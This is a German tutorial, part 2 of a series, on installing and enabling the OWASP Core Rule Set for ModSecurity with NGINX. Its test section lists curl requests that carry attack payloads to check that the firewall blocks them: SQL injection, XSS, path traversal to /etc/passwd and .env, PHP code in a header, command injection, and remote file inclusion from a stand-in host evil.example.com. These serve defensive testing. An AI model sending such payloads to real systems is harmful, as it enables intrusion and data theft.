Teil 2 – Installation des OWASP Core Rule Set (CRS)
Nachdem du in Teil 1 ModSecurity v3 erfolgreich installiert hast, zeige ich dir nun wie du das OWASP Core Rule Set installierst und aktivierst und somit den Regelsatz für ModSecurity einbindest.
Download und Aktivierung des OWASP CRS
Mit nachfolgenden Befehlen kannst du das Regelset herunterladen und aktivieren. Wechsle in das modsec-Verzeichnis, lade das git-Repository herunter und erstelle danach die Datei crs-setup.conf
.
cd /etc/nginx/modsec
sudo git clone https://github.com/coreruleset/coreruleset.git
cd coreruleset
sudo cp crs-setup.conf.example crs-setup.conf
Als nächstes bindest du in deine modsecurity.conf-Datei folgende Dateien ein um das OWASP CRS zu aktivieren:
Include /etc/nginx/modsec/coreruleset/crs-setup.conf
Include /etc/nginx/modsec/coreruleset/rules/*.conf
Nach einem Neustart von NGINX ist das Regelset aktiv:
sudo nginx -t && sudo systemctl reload nginx
Testen des OWASP CRS
Nachfolgend findest du ein paar Tests, mit denen du überprüfen kannst, ob das Regelset funktioniert. Du gibst dafür entweder die URL in den Webbrowser ein oder übergibst die URL an curl
mit dem Parameter -I
.
SQL-Injection durch manipulierten Parameter:
curl -I "https://softworx.at/?id=1'+or+1=1--"
Cross Site Scripting (XSS) – einfaches JavaScript
curl -I "https://softworx.at/?search=<script>alert(1)</script>"
Zugriff auf vertrauliche Datei .env
curl -I "https://softworx.at/.env"
Pfadmanipulation zum Zugriff auf Systemdateien
curl -I "https://softworx.at/index.php?file=../../../../etc/passwd"
Remote Code Execution durch Header Injection
curl -I -H "User-Agent: <?php system('id'); ?>" "https://softworx.at/"
Command Injection über GET-Parameter
curl -I "https://softworx.at/?cmd=ls%20-la"
Remote File Inclusion (RFI)
curl -I "https://softworx.at/?page=http://evil.example.com/shell.txt"
OWASP CRS und WordPress
Solltest du das OWASP CRS für eine WordPress Website aktiviert haben, wirst spätestens beim Bearbeiten von Inhalt auf Probleme stoßen, weil WordPress funktionen blockiert werden.
In Teil 3 erfährst du, welche Ausnahmen du setzen musst, damit WordPress wieder einwandfrei funktioniert.
Schreibe einen Kommentar
Du musst angemeldet sein, um einen Kommentar abzugeben.